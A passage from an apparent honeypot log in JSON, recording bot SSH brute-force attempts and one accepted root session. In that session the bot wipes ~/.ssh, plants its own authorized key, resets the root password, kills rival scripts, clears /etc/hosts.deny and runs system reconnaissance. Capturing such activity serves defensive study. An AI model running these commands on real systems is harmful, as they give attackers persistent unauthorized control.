-n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:01:46.765774+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"rahim","password":"rahim","method":"password","accepted":true,"tier":"other"}]} {"id":"c2f435b9-c33f-4961-a451-db8c4623b492","name":"thawing-ruddy-tinamou","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":35256,"username":"rahim","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:01:39.199102+00:00","ended_at":"2026-08-27T11:01:40.673305+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"rahim","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b424b3d9-55b7-457c-ad65-e4b7a9717695","name":"vernal-smoky-woodcock","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":35248,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:01:37.693872+00:00","ended_at":"2026-08-27T11:01:38.658714+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0511a491-8962-4b6e-9d52-4b74bded357f","name":"deft-woven-sloth","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":36854,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:57:40.362900+00:00","ended_at":"2026-08-27T10:57:41.025107+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2093,"events":[{"seq":1,"at":"2026-08-27T10:57:30.707447+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:57:30.970365+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:57:34.946776+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:57:34.947628+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:57:35.210656+00:00","kind":"input","latency_ms":null,"data":"echo \"root:74wbLvxB48PU\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T10:57:35.472080+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T10:57:35.734178+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T10:57:35.734652+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T10:57:35.996168+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T10:57:36.481758+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T10:57:36.752670+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T10:57:37.251526+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T10:57:37.518162+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T10:57:37.518789+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T10:57:37.780722+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T10:57:37.782110+00:00","kind":"output","latency_ms":null,"data":" 10:57:37 up 7 days, 7:47, 0 user, load average: 0.33, 0.28, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T10:57:38.042392+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T10:57:38.043297+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T10:57:38.304682+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T10:57:38.305258+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T10:57:38.567757+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T10:57:38.568515+00:00","kind":"output","latency_ms":null,"data":"top - 10:57:38 up 7 days, 7:47, 0 user, load average: 0.33, 0.28, 0.3\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T10:57:38.832608+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T10:57:38.833266+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T10:57:39.097015+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T10:57:39.097614+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T10:57:39.358698+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T10:57:39.359551+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T10:57:39.621439+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T10:57:40.100662+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T10:57:40.363751+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T10:57:40.949407+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"QWEqwe123456","method":"password","accepted":true,"tier":"other"}]} {"id":"d1f6f777-d07e-49f1-990b-bb4f3eaa351f","name":"creaky-gritty-lemur","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":36870,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T10:57:33.586256+00:00","ended_at":"2026-08-27T10:57:34.871119+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"40ee801e-b678-4978-af70-fc792f200916","name":"rapid-brazen-camel","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":36864,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T10:57:31.565883+00:00","ended_at":"2026-08-27T10:57:33.068273+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"38cad8cf-4b71-4f94-8859-8749f1eebfd7","name":"hidden-distant-wigeon","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":39952,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T10:51:41.817474+00:00","ended_at":"2026-08-27T10:51:42.968003+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"Aa456123","method":"password","accepted":false,"tier":"other"}]}